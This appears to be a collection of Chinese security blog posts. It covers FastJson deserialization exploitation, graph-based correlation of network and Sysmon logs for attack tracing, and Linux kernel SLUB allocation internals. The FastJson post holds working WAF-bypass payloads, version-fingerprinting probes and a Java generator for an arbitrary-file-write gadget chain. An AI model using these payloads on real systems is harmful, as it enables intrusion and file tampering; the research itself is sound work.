FastJson炒一炒冷饭

（终于想起来了账号密码）

unicode 绕waf

  笔者在24年做一道ctf fastjson题的时候，碰巧发现了这个特性，当时题目限制字符\x \0，于是笔者尝试跟了一下fastjson解析unicode
com.alibaba.fastjson.parser.JSONLexerBase#scanString

case 'u':
    charu1=this.next();
    charu2=this.next();
    charu3=this.next();
    charu4=this.next();
    intval= Integer.parseInt(newString(newchar[]{u1, u2, u3, u4}), 16);
    this.putChar((char)val);
    continue;

  这里使用Integer.parseInt把\u后的四个字符转为int类型，在parseInt方法中对字符串的第一个字符有特殊的处理，若字符串的第一个字符小于 '0'，则可能是 '+' 或者 '-'，关键点在于第一个字符是 '+' 时，则将索引 i 加 1，跳过该字符，同时不对转换结果造成影响.

if (len > 0) {
            charfirstChar= s.charAt(0);
            if (firstChar < '0') { // Possible leading "+" or "-"
                if (firstChar == '-') {
                    negative = true;
                    limit = Integer.MIN_VALUE;
                } elseif (firstChar != '+')
                    throw NumberFormatException.forInputString(s);

                if (len == 1) // Cannot have lone "+" or "-"
                    throw NumberFormatException.forInputString(s);
                i++;
            }
            ...... 
}

这样我们就可以构造payload

{"\u+040\u+074\u+079\u+070\u+065":"java.lang.AutoCloseabl\u+065"

  这样的畸形unicode可以绕过几乎目前市面上大部分waf，另外我们可以注意到在第一个字符是 '-'时虽然也会跳过字符，但是在后续的代码中返回值是一个负数，如果我们有五个字符那么可以构造\u-ffbf（转成int 是65，字符串为A），但是fastjson限制了读取4个字符，我们没办法构造出想要的字符串。

safemode 判断

开启safemode时payload报错

{"zero":{"@type":"java.lang.String"""}}}

1.2.83 版本判断

首先需要判断是否开启AutoType，有下面两个payload

{"xxx":{"@type":"java.lang.Class","val":""}}

{"xxx":{"@type":"Random.String"}}

在开启AutoType的时候 payload1会报错
autoType is not support. java.lang.Class
payload2不报错。未开启AutoType的时候 payload1不报错，payload2报错
autoType is not support. Random.String

未开启AutoType时使用下面payload判断版本

{"xxx":{"@type":"Test.TestException"}}

  版本为1.2.83时 payload不报错，24<= version<=80 报错，源自于在1.2.83版本checkAutoType添加了下面的代码，类名结尾为Exception或Error会直接返回null，而不会抛出异常autoType is not support

if (!autoTypeSupport) {
            if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
                return null;
            }

            throw new JSONException("autoType is not support. " + typeName);
        }

判断反序列化点是否存在期望类

下面这种写法是存在期望类的

JSONObject.parseObject(payload,Test.class)

  还有一种是spring配置fastjson解析参数，在spring框架层面反序列化参数时就添加了期望类。我们可以使用下面payload来测试是否存在期望类，在请求原有参数基础上添加下面的payload

{"@type":"com.alibaba.fastjson.support.geo.Feature"}

如原始请求参数为

{"username":"admin","password":"123456"}

修改后为

{
    "@type": "com.alibaba.fastjson.support.geo.Feature",
    "username": "admin",
    "password": "123456"
}

在原始请求参数为数组可修改payload为:

[
    {
        "@type": "com.alibaba.fastjson.support.geo.Feature",
        "username": "admin",
        "password": "123456"
    }
]

  若报错则反序列化点存在期望类，另外需要注意的是这个
com.alibaba.fastjson.support.geo.Feature
类在1.2.68版本才引入，同时也可以利用这个类存不存在来判断版本是否低于1.2.68
还有一个特殊的payload

{{}:{}}

结合原始请求参数构造

{
    {}: {},
    "username": "admin",
    "password": "123456"
}

若存在期望类且类型不是Map及其子类，则会报错

{
    "test": {
        {
            {}: {}
        }: ""
    },
    "username": "admin",
    "password": "123456"
}

修改为上述参数之后不报错

存在期望类的反序列化点有以下限制：

1. 1. 利用getter触发漏洞的payload大多数无法成功触发
2. 2. 无法使用引用
   有一个在存在期望类的反序列化点触发getter的payload，某ctf上学习到的，时间比较久远具体链接忘记了

{
    "dd": {
        "@type": "java.util.Currency",
        "val": {
            "currency": {
                "w": {
                    payload
                }
            }
        }
    }
}

通过java.util.Currency的一些特性触发getter，这个payload有一个缺点是反序列化结果一定报错，在没有报错详情信息的情况下我们很难判断是不是payload部分出了问题
还有一个针对JSONObject.parse()触发getter的payload，笔者从这篇文章中学到 https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA

 {
     {
         "@type": "com.alibaba.fastjson.JSONObject",
         "aaa":{
                 payload
         }
     }: "xxx"
 }

通过将payload放在键名处从而触发toString，并且payload被封装进一个JSONObject对象，触发JSONObject对象的toString进而触发getter（大致原理，可能有误），笔者在1.2.68版本测试，存在期望类时并不能直接触发getter，可以利用期望类原有的String类型的成员变量来触发
例如存在期望类User类，有两个String类型的成员变量username、password，那么可以构造

{"username":{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
          payload
    }}: {}
    },
    "password":"",
}

  这样的优点是大多数情况下不会报错，如果报错的话我们可以判断出是payload部分出了问题。另外就是无法使用引用的问题，在存在期望类时，会把反序列化结果转为期望类对象，在使用引用的时候只能引用期望类有的成员变量，大部分情况成员变量是字符串和数字类型，而我们引用的大部分情况是一个对象，这个对象即使我们放在成员变量上，也会转为成员变量的类型，比如我们需要引用org.apache.commons.io.input.BOMInputStream对象调用getBOM方法，对象被转成了String类型调用不到getBOM方法，也就是这种情况下我们没办法使用commons-io去读取文件了。

commons-io 写二进制文件链优化

@jsjcw师傅在GeekCon 2024分享的commons-io写二进制文件的链非常精彩，但是需要多次发包，后续笔者在调试过程中发现可以结合Blackhat 2021 中链的逻辑，构造出一条新的可以写任意数量字符的链

import com.alibaba.fastjson.JSONObject;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
publicclassIoWrite {
    publicstaticvoidmain(String[] args)throws IOException {
        String payload=getPayload("/tmp/2.jpg","/tmp/1.jpg");
        System.out.println(payload);
        JSONObject.parseObject(payload);
    }

    publicstatic String getPayload(String target,String file)throws IOException {
        byte[] bytes= Files.readAllBytes(Paths.get(file));
        String hexString=bytesToHexString(bytes);
        System.out.println(bytes.length+1);
        byte[] array = newbyte[bytes.length+1];

        String payload="{\"xxx\":{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\": \"org.apache.commons.io.input.AutoCloseInputStream\",\n" +
                "    \"in\": {\n" +
                "      \"@type\": \"org.apache.commons.io.input.TeeInputStream\",\n" +
                "      \"input\": {\n" +
                "        \"@type\": \"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"cs\": {\n" +
//                "        \"s\": {\n" + //common io 2.2
                "          \"@type\": \"java.lang.String\"\n" +
                "          \"%1$s\",\n" +
                "          \"charset\": \"iso-8859-1\",\n" +
                "          \"bufferSize\": 1\n" +
                "        },\n" +
                "        \"branch\": {\n" +
                "          \"@type\": \"org.apache.commons.io.output.WriterOutputStream\",\n" +
                "          \"writer\": {\n" +
                "            \"@type\": \"org.apache.commons.io.output.LockableFileWriter\",\n" +
                "            \"file\": \"%2$s\",\n" +
                "            \"charset\": \"iso-8859-1\",\n" + //>=2.7
                "            \"encoding\": \"iso-8859-1\",\n" + //<=2.6
                "            \"append\": false\n" +
                "          },\n" +
//                "          \"decoder\": {\"@type\":\"com.alibaba.fastjson.util.UTF8Decoder\"},\n" +
                "          \"charset\":\"iso-8859-1\",\n" +
                "          \"charsetName\":\"iso-8859-1\",\n" +
                "          \"bufferSize\": 1024,\n" +
                "          \"writeImmediately\": true\n" +
                "        },\n" +
                "        \"closeBranch\": true\n" +
                "      }\n" +
                "    },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"iso-8859-1\",\n" +
                "                  \"bytes\":%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.xxx.bOM\"}\n" +
                "}}";

        return String.format(payload,hexString,target,Arrays.toString(array));

    }
    publicstatic String bytesToHexString(byte[] bytes) {
        StringBuilderhexString=newStringBuilder();
        for (byte b : bytes) {
            hexString.append("\\x").append(String.format("%02x", b));
        }
        return hexString.toString();
    }
}

如果反序列化点存在期望类也可以改成下面这样，虽然报错但是不影响文件的写入

{
  "dd":{
  "@type":"java.util.Currency",
  "val":{
  "currency":{
  "w":{
    "@type":"java.lang.AutoCloseable",
    "@type":"org.apache.commons.io.input.BOMInputStream",
    "delegate":{
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "\xff",
            "charset": "iso-8859-1",
            "bufferSize": 1
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/tmp/1.jpg",
              "encoding": "iso-8859-1",
              "charset": "iso-8859-1",
              "append": false
            },
            "charset":"iso-8859-1",
            "charsetName":"iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
    "include":true,
    "boms":[{
                    "@type": "org.apache.commons.io.ByteOrderMark",
                    "charsetName": "iso-8859-1",
                    "bytes":[0, 0,0]
                  }]
  }
  }
  }
  }
  }

另外一点需要注意的是 写二进制文件版本commons-io版本需要>2.4，这是因为fastjson在选取构造方法时存在随机性，通过笔者尝试
org.apache.commons.io.output.WriterOutputStream
构造方法顺序与commons-io版本有很大关系，似乎在2.4及之前的版本中带有CharsetDecoder类型参数的方法始终是第一个获取到的

public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)

这就导致我们要写二进制文件的话需要构造出iso-8859-1 的CharsetDecoder，笔者经过尝试未能构造出

最后

1、以上均为笔者通过学习各位师傅的经验并进一步研究的结果，如有错误还请指正。
2、因笔者精力有限，以上payload测试大部分是在1.2.68版本，其他版本可能会有不同结果，如有不同的结果还请指正。

参考

[1]GeekCon 2024 SpringBoot之殇(https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)
[2] Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)
[3] 原创 | 网鼎杯ezjava利用分析(https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA)

阅读原文

跳转微信打开

更新速览增加收藏查询条件功能增加消息推送功能增加添加公司功能增加公益列表首页优化网站列表页优化调整积分功能查

阅读原文

跳转微信打开

前言

图关系型数据库已经出现很久了，也或多或少的应用在了安全领域，如：

1. 1. 代码审计，漏洞挖掘，如：https://github.com/wh1t3p1g/tabby-path-finder/；

2. 2. 资产关联：各个态势感知平台会用作来展示关系；

3. 3. 漏洞信息/威胁信息等：

1. 4. 还有很多通过日志去还原攻击链路：https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD、https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA。

     这些都或多或少的增强了安全的实力，图可以用更直接的方式来展示和分析各个节点之间的关系，在分析日志的时候，大家的文章考虑过分别用流量日志、主机日志来用图去分析，也讨论过去综合分析，现在来考虑，在流量/主机日志都尽可能抓到的情况下，结合图数据库，能做到什么地步。

场景搭建

     逻辑很简单，通过文件上传，上传一个webshell，在通过webshell工具去连接、通过cs来进行后渗透，如：进程注入等其他工作等。这些东西很简单，几个虚拟机都可以完成，就不详细说明了。流量日志使用支持snort规则库的引擎来进行，主机日志是在windows上的sysmon，因为他们都有不错的检测规则，特别是sysmon，对于windows，基本上所有需要的字段都能得到（不愧是微软自己的），然而，虽然有SysmonForLinux，经过简单测试，并不理想。

思路介绍

先看下绿盟的文章

https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA

其实给了不错的思路，通过5元组来进行配置来尽可能的将主机和网络侧的日志来进行关联。

主机事件

     sysmon可直接参考微软的官方教程：https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon 里面涉及到网路连接、文件的增删、进程的注入等等，详情可根据具体情况分析。

流量事件

     流量的基础信息为五元组（源ip、目的ip、协议、源端口、目的端口）、预警信息等。

综合考量

     主机日志与流量日志所共用的点在于网络连接信息即四元组（源ip、目的ip、源端口、目的端口），那么我就可以通过这个来将两个日志类型关联起来。然后就是对日志事件的字段进行分析，如：

1. 1. 网络连接：源ip->告警日志->进程->目的ip；

2. 2. 创建文件：进程->文件；

3. 3. 进程注入：进程->目标进程；

理论上通过自定义的规则就可以将所有的行为与进程串联起来了。

具体分析

前面已经说了思路，那么我们来一步步来测试下情况，原始情况：

因为存在扫描行为，和正常请求行为，所以不可避免的造成爆炸，那么我们先去掉扫描的事件和一些不重要的请求日志：

然后具体分析下

可以看到根据流量告警关联到了httpd.exe，httpd.exe下的php-cgi.exe创建了一个cs.exe，并且执行

这是在webshell工具上执行的命令，通过主机日志可以弥补流量日志的不足，了解攻击者到底做了什么。

然后攻击者通过cs木马连接到攻击者的c2上，也可通过流量/主机日志进行关联。通过日志的综合分析，可以将攻击者的整个行为串联，在复杂情境下，对于通过免杀或者流量混淆绕过安全设备的行为也可以尽量找出踪迹，发现攻击者。

一点点思考

     在实际过程里，很多设备的日志都是割裂开来的，流量是流量，终端是终端，导致大家进行分析溯源分析都比较割裂，无法准确的还原攻击链路，虽然edr等设备已经出来很久了，但实战上与流量设备的配合并不太理想。实验只使用了很简单很简单的场景，对于日志自定义了一些处理规则，实现了将整个攻击链路展现的情景。然而，真正情况下，会有一下问题：

1. 1. 流量告警的数量超级多，数据清理和策略的编写是个大问题；

2. 2. 攻击者的阶段性攻击可能并不发生在同一时间，那么日志关联的时间颗粒度也是问题；

3. 3. 不管是流量/终端日志都会有存储不完全的情况，没有监测到行为或者被攻击者kill掉/删除，之所以使用windows实验，也是没在linux下发现类似于sysmon一样好用的日志记录工具；

4. 4. 正如绿盟的文章说的：完全利用图分析算法进行复杂攻击识别是有天花板的，外部知识的引入是一种有效的手段，但是当前外部知识只是简单的根据规则抽象出一些已有攻击的威胁子图，利用ATT&CK相关的攻击战术手法。需要在实战不断去试验、反馈、结合算法、ai、大数据等技术去发展；

安全运营的概念提出好久，产品也更新换代了很多，攻击溯源依然是实现主动防御的一种思路，希望某一天真的可以看到有真正好用的落地产品。

参考文章

1. 1. https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA

2. 2. https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD

3. 3. https://github.com/wh1t3p1g/tabby-path-finder/

阅读原文

跳转微信打开

先回复下师傅们的问题，虽然前端没什么变化，但平台一直在更新，由于精力问题，日常主要是更新及优化后端的任务调度

https://firefly-src.geekyoung.com/

阅读原文

跳转微信打开

内核对象分配释放机制和调试方法的研究

Linux kernel memory Debug（一）初识内核对象的创建和释放

最近因为一些事情研究复现了几个Linux kernel的洞，感觉自己对内核的对象分配这块的了解并不深入，于是打算出一个系列对于内核对象分配释放机制和调试方法等进行研究，基本属于跟着大佬们学习，多多指教。

前置知识

自旋锁- spin locks

static DEFINE_SPINLOCK(xxx_lock);
      unsigned long flags;
      spin_lock_irqsave(&xxx_lock, flags);
      ... critical section here ..
      spin_unlock_irqrestore(&xxx_lock, flags);

  在内核中，上面的代码片段使用了最基本的自旋锁，它会禁用本地中断，而且它是全局锁，因此会保证被锁保护的区域只存在一个线程。自旋锁在无论在单核CPU或者多核CPU下都可以很好的工作。除了上述类型的使用方式，内核中还存在对于共享内存等的读写自旋锁，它允许多个内存读操作同时进行，但是如果是写操作那么就必须进行内存锁定。

rwlock_t xxx_lock = __RW_LOCK_UNLOCKED(xxx_lock);
     unsigned long flags;
     read_lock_irqsave(&xxx_lock, flags);
     .. critical section that only reads the info ...
     read_unlock_irqrestore(&xxx_lock, flags);
     write_lock_irqsave(&xxx_lock, flags);
     .. read and write exclusive access to the info ...
     write_unlock_irqrestore(&xxx_lock, flags);

  对于一些复杂数据结构链表的访问就可能用到上述操作。

  虽然自旋锁非常安全，但是因为它需要关闭中断操作因此它的性能开销是非常巨大的，不过也存在更轻量化版本的spin lock：

spin_lock(&lock);
...
spin_unlock(&lock);

这种类型的spin lock同样保证对于保护区域的单独访问，不过这种一般用于没用中断操作调用的情况，比如被保护区域只被进程上下文操作，一旦出现下面的情况：

spin_lock(&lock);
...
        <- interrupt comes in:
                spin_lock(&lock);

就会造成死锁，这种情况下一个中断处理程序想要访问一个被保护的数据区域就会造成死锁。如果是多个CPU，中断发生在另一个CPU，这样是可以的。这种情况不能发生在相同的CPU上，因为数据已经被锁定。CPU运行的程序为中断处理程序，因此数据无法被访问，锁也无法被释放。

内核堆分配策略

  Linux 提供了多种用于内存分配的 API。你可以使用 kmalloc 或 kmem_cache_alloc 等系列函数分配小块内存，使用 vmalloc 及其衍生函数分配大的虚拟连续内存区域，或者直接从页面分配器请求页面使用 alloc_pages。还可以使用更专门的分配器，例如 cma_alloc 或 zs_malloc。同时Linux kernel提供GFP标志符来控制内核堆分配行为，如下：

kzalloc(<size>, GFP_KERNEL);

下面简单列举内核中GFP标识的使用，这有助于理解Linux kenrel堆的使用策略。

• • GFP_KERNEL，这个是最常用的，许多内核数据和内核相关结构体所需的内存都需要用这个标识。但是该标识也依赖GFP_RECLAIM标识，因此在内存压力下可能触发内存回收，所以调用上下文必须允许休眠，这样内核在面临内存压力的时候可以进行内存回收，让相关调用进入休眠状态，从而更有效的控制内存使用。

• • GFP_NOWAIT，该标识需要在内核的原子性上下文中使用，该标识可以防止内存回收以及I/O和文件系统的影响，但是在内存压力下可能会分配失败。此时可以使用GFP_NOWARN来进行合理的错误处理。下面是一个例子：

#include <linux/slab.h>
void* my_custom_allocation(size_t size) {
    void* ptr = kmalloc(size, GFP_KERNEL | GFP_NOWARN);
    if (!ptr)
        pr_info("Memory allocation failed, but no warning is printed.\n");
    else
        pr_info("Memory allocation succeeded.\n");
    return ptr;
}
void my_custom_free(void* ptr) {
    kfree(ptr);
}
// 示例用法
int my_module_init(void) {
    void* allocated_memory = my_custom_allocation(1024);
    // 使用分配的内存...
    my_custom_free(allocated_memory);
    return 0;
}

• • 当你觉得内核预留内存充足的时候可以使用GFP_ATOMIC进行，这种操作是非阻塞的，一旦无法分配则直接返回失败，它和GFP_NOWAIT的区别在于GFP_NOWAIT更适用于一般性的可睡眠上下文，但在分配失败时不希望等待的情况。这可以用于避免不必要的延迟。

• • GFP_USER，来自用户空间的分配需求则需要该标识位。

  这些是开发者在开发内核模块等时需要注意的标识，同样对我们理解内核代码进行漏洞挖掘也有一定的帮助，在整体范围上我们还需要知道，对于Linux kernel 内存分配来讲主要存在三个不同的分配器，当然也有其它分配器，不过这三个较为主流：

1. 1. Page allocator

2. 2. Vmalloc allocator

3. 3. Slab allocator

其中page allocator很好理解，用来进行物理页的分配，大小一般为4kb，vmalloc allocator则主要是对虚拟内存连续块进行分配管理，但是因为在内核里面很多分配请求其实所需的内存大小都不超过4kb，因此简单的使用page allocator会导致资源浪费，因此就有了slab allocator，它通过对不同类型的内核对象进行缓存来增加空间利用率，但是针对不同的环境和系统也存在不同的slab实现，因此Linux kernel一般存在三种不同的slab，分别命名为SLAB，SLUB，SLOB，其中SLUB是最广泛使用的版本。

SLUB分配器

  SLUB分配器作为对象分配器，其分配大小跟内核对象大小有直接的关联，下面是它的简单布局：

  其中Object content是内核对象，其它部分根据是否开启内核的各种配置来决定其是否出现，比如Kasan区域和内核Kasan配置是否开启紧密相关。SLUB存在很多slab cache，在内核里面一般由kmem_cache对象来表示，kmem_cache对象里面包含了用来管理slab cache的所有信息，其中有一个成员为cpu_slab，该成员作为一个指针指向kmem_cache_cpu结构体，kmem_cache_cpu结构体中的内容为和CPU相关的slab cache信息，对于每一个slab都有一个slab object表示，但是如果内核版本低于5.17的话，如果一个页处于一个slab中，在页对象中存在一个匿名的union来保存slab的信息，kmem_cache中的kmem_cache_node成员则表示可以用于slab分配的内存节点。同时对于free object的管理，内核和用户态glibc也存在类似的地方，在对象中存在free pointer (FP)，该指针一般位于内核对象的起始位置，不过具体位置根据内核版本和不同对象之间存在差别。不过从上图可以看出有些时候内核对象只是分配出来的堆块的一部分，简单解释一下不同区域的作用。

• • RED zone left padding：当内核slub_debug开启的时候（slub_debug = Z） RED zone存在于内核对象的前面，此时kmem_cache→ red_left_pad成员表示RED zone left padding的大小，因此此时实际上的内核对象内容起始地址为内核对象地址加上RED zone padding的大小作为偏移，其中free list中的指针也不再指向内核对象的起始位置，而是指向内核对象起始地址加上RED zone的大小作为偏移的新地址，也就是实际上真实内存对象地址开始的地址。

• • Object content：这个就是真实的内核对象了，无论何时肯定存在，大小由kmem_cache→ object_size成员指定。

• • READ zone：当内核slub_debug配置（slub_debug = Z）开启的时候存在该区域，不过在kmem_cache中没有确定的成员来指定该区域的大小，一般来说REAQD zone大小为指针大小，因为一般内核对象的大小也就是kmem_cache→ object_size是指针大小对齐的，那么假如kmem_cache→ object_size的大小没有指针对齐的话，内核对象的结尾地址和Metadata起始地址之间的内存空间就是RED zone。

• • Metadata：Metadata区域跟内核配置也有很大的关系，如上图所示的Free Pointer，Slub allocation info，KASan allocation info都是和对应的内核debug配置相关的。

• • Padding：这个很好理解，就是为了地址对齐的。

接下来聊一聊slab cache和内核对象之间的关系。slab cache中包含一个或多个slab，同时每个slab都包含一个或者多个物理页，这些页中包含指定大小的内核对象。内核对象和slab都是以链表的形式组织起来。

同时对于slab cache而言，它存在一个per-cpu active slab，一个per-cpu partial slab list和一个per-node partial slab list，在per-cpu partial slab中的slab通过slab.next成员进行连接，在per-node partial slab lists中的slab则通过slab.slab_list成员进行连接，这一块最好还是通过源码了解一下，不然可能有点乱。至于per-cpu active slab很容易理解就是现在被用于分配内核对象的slab，当active slab的内核对象被分配完成的时候另一个slab开始分配内核对象，同时该slab转变为active slab，同时在每一个slab cache中都包含一个per-cpu freelist，freelist中包含很多active slab中的内核对象，同时在slab结构体中也存在一个freelist，因此active slab中的内核对象可能随时处于两个列表中的一个，两个列表的区别在于per-cpu freelist是一个无锁列表，从无锁列表中分配内核对象，或者释放内核对象到无锁列表都不需要进行任何的中断和抢占操作，但是不是所有的slab和内核对象操作都可以通过无锁方式来实现，比如操作slab中的freelist，或者操作slabs list。slab的freelist可以参考下图：

关于SLUB allocator中的锁一般有以下几种：

• • slab_mutex：这是一个全局的mutex，主要用来保护slab cache中的list，并且在同步slab cache元数据的改变和内存热插拔的call back。

• • kmem_cache_node->list_lock：这里使用spin lock来保护在各自内存节点上的partial slab和full slab，spin lock也保护partial slab的计数器counter，因此该锁是针对节点的，它存在较高的性能消耗。

• • kmem_cache_cpu->lock：这里使用spin lock来保护per-cpu kmem_cache_cpu不出现在相同CPU上被中断和抢占冲突的情况。

• • slab_lock（slab）：这个其实是对page lock的封装，它使用spin lock来保护freelist和不被使用的内核对象以及slab的一些属性。这是必须的假如系统不能够使用类似cmpxchg的指令来操作相关属性的时候。

• • object_map_lock：这是一个全局spin lock，单纯是为了调试。

通过上面的信息我们可以意识到，一个slab存在三种不同的状态：

1. 1. empty

2. 2. full

3. 3. partial

对于empty slab来说，其可以被回收，底层的page则会被返回给page allocator，对于任何partial list上面的slab要么是部分空的要么是全空的，full slab不需要特别关注，因为假如full slab上面的一个内核对象被释放了，那么可以通过该内核对象找到该slab并将该slab放在合适的slab链表上。

同时slab依赖的page数量也是不固定的，可以是一个page也可以是多个page，page的数量取决于kmem_cache.oo成员（struct kmem_cache_order_objects oo;）该成员表示一个slab存在的内核对象数量。对于包含多个page的slab，一个融合页（compound page，which group of 2 or more physically contiguous pages）会被分配给它，在5.17之前版本的内核page结构体中存在slab_cache和freelist成员，融合页被slab_cache管理，并且在融合页中只有head page的freelist成员是有用的，对于尾部的页来说slab_cache和freelist成员不被用来识别slab_cache或者slab中的第一个free object，从5.17内核版本开始，slab_cache和freelist或者其它slab相关的成员被移动到单独的slab结构体中。不过无论slab存在于slab内核对象还是page内存对象，其freelist成员都指向该slab上第一个free的内核对象。

如何分配一个内核对象

  对此基本上对slab有了一个大概的了解，那么一个内核对象到底如何从一个slab中被分配出来呢？首先，内核对象一定是从active slab上分配的，并且该过程不需要使用锁或者关闭中断，在freelist（kmem_cache.cpu_slab->freelist）上面的第一个内核对象会被分配出去，然后跟它在链表上处于相邻位置的内核对象会成为该链表的第一个内核对象，假如无锁链表（kmem_cache.cpu_slab->freelist）中的内核对象被分配完，那么该链表会变成一个空链表NULL，此时如果当前CPU架构不支持cmpxchg指令或者此时slub_debug功能开启，这种无锁的快速分配方式会被禁用，此时存在一些其它的性能较差的分配方式但是不同的方式存在不同的性能消耗，下面对这些分配方式进行介绍。

  假如per-cpu freelist，也就是无锁freelist不包含free的内核对象，但是active slab中的freelist存在free的内核对象，那么就会从slab的freelist上面分配一个内核对象给请求者，同时该freelist的其它free内核对象会被传递给无锁freelist，然后slab的freelist会被置NULL，这个传递的过程会关闭中断并请求kmem_cache_cpu.lock锁，因此它有一定的性能开销，但是这已经算是除了从无锁freelist上直接分配的方式外最快的方式了。不过这种情况下必须关闭内核的抢占配置CONFIG_PREEMPT_RT，因为kmem_cache_cpu.lock是一个spin lock并且保留启用抢占，显示的禁用抢占可以提升稳定性。在前文中提到per-cpu freelist和active slab freelist可以指向同一个free的内核对象，因为当一个slab转变为active slab的时候它的slab freelist中的内核对象会被转发到per-cpu freelist，然后slab freelist就会变为NULL，此时内核对象的分配会从per-cpu freelist上进行，最终这些内核对象还是会被free掉，假如这些内核对象在free的时候是被分配时使用的CPU free掉，那么就会进入per-cpu freelist，那么如果是被其它CPU free掉，那么这些内核对象就会进入到slab freelist，因此有时会出现slab freelist存在内核对象但是per-cpu freelist为空的情况。

  还有一种情况是active slab中不存在可用的内核对象，但是per-cpu partial slab list存在一些slab，它们有可用的内核对象，这种情况下，per-cpu partial slab list中的第一个slab会成为active slab，它的freelist被转移到per-cpu freelist，然后给需求方提供内核对象，这个过程依然需要关闭中断/抢占并请求kmem_cache_cpu.lock，同时相比于上一种方式还存在额外的性能开销：将per-cpu partial slab list的第二个slab（假如有的话）放在链表的头部，以及对active slab的切换处理。

  那么假如per-cpu slab无论是active还是partial都不存在可用的内核对象，那么就会尝试从per-node partial slab list中分配slab，首先我们要了解slab是如何添加到per-node partial slab list链表中的。当一个full slab变成empty slab或者partial slab的时候，该slab就会被放到per-cpu partial slab list，那么假如per-cpu partial slab list功能不被支持或者它已经存放了最大数量的内核对象，那么该slab 就会被放到per-node partial slab list。因此在per-cpu slab无论是active还是partial都不存在可用的内核对象的时候，slub分配器会从local node partial slab list获取slab，但是如果如果在该节点上无法找到合适的slab，之后就会从per-node partial slab list上面的其它节点中获取slab，对一个node partial slab list进行遍历需要请求kmem_cache_node.list_lock，并且因为这是一个central lock，因此这种分配方式存在比上一种更高的性能消耗。在遍历中找到合适的slab并将其freelist的第一个内核对象分配出去，紧接着slab中剩下的内核对象会成为per-cpu active slab的一部分。在开启per-cpu partial slab list的情况下，slub分配器会继续操作，将per-node partial slab list中的slab移动到per-cpu partial slab list直到per-node partial slab list为空或者per-cpu partial slab list中的slab数量已经达到最大值，该最大值依赖于内核对象的大小，假如内核对象大小>=PAGE_SIZE，这个数量为6，对于内核对象大小小于256，这个数量为120。

  假如出现所有的slab都变成full slab，对于新的slab的分配则需要使用page allocator，这个新分配的slab会成为CPU当前的active slab，这种方式是性能消耗最严重的因为它需要从buddy allocator中获取新的物理页。

如何释放一个内核对象

  通过对内核对象分配的了解可以知道，要释放的内核对象的主要来源为：

• • per-cpu active slab

• • per-cpu partial slab list

• • per-node partial slab list

• • Full slab

在释放内核对象的过程中，内核触发的操作也和内核的配置紧密相关，假如内核开启了GENERIC KASAN，那么被释放的内核对象并不会转变为可用的状态而是放在了一个隔离列表里面，这样的话，其实slab的状态并没有因为释放内核对象而发生明显的改变，比如，一个full slab在释放一个内核对象之后并不会转变成一个partial slab，同时假如只存在一个内核对象的partial slab在释放的时候该slab也不会转变为empty slab，需要做的只是更新内核对象对应的shadow bytes，并将其放入隔离列表里面，只有当隔离列表里面的内核对象被处理的时候才会考虑slab状态改变的影响。

  那么假如不开启GENERIC KASAN内核配置的话，一个内核对象被释放的时候会被插入到freelist的头部，对于per-cpu active slab而言存在两个freelist，一个是kmem_cache_cpu->freelist无锁freelist，一个是slab结构体中的常规freelist，因此假如被释放的内核对象是属于active slab，并且释放该内核对象的CPU也属于该active slab，那么该内核对象就会被放入无锁freelist，那么假如被释放的内核对象属于active slab，但是释放该内核对象的CPU不属于该active slab，那么该内核对象就会被放入slab对应的常规freelist，这些操作在CPU支持cmpxchng指令并且没有开启slab debug的时候都可以无锁进行。假如被释放的内核对象属于full slab，那么释放内核对象之后该full slab也会转变为partial slab，该slab也会被放入到per-cpu partial slab list或者per-node partial slab list，这个新的partial slab被放入per-cpu partial slab list，而且不需要进行其它操作，那么整个操作只需要触发kmem_cache_cpu.lock，但是如果这个新的partial slab在放入per-cpu partial slab list的过程中发现per-cpu partial slab list已经满了，并且这些slab都没有被锁定等操作，那么这些slab会被移动到per-node partial slab list，因为移动到per-node partial slab list的过程中需要请求kmem_cache_node.list_lock锁，这会增加性能开销。

  假如被释放的内核对象不属于active slab而是partial slab，那么假如该slab在释放内核对象之后仍然属于partial slab，那么不会出现额外操作，slab依然保存在partial slab list上，这种情况在per-cpu partial slab list和per-node partial slab list中都适用，但是如果在释放内核对象之后该slab转变为empty slab，那么接下来的操作就取决于slab cache’s min_partial，假如partial slab list中的slab数量在这个限制之内，那么该empty slab依然会存在于这个链表上，但是如果超出该限制，那么该empty slab会被释放并从partial slab list中释放，这个处理方式同时适用于per-cpu partial slab list和per-node partial slab list。

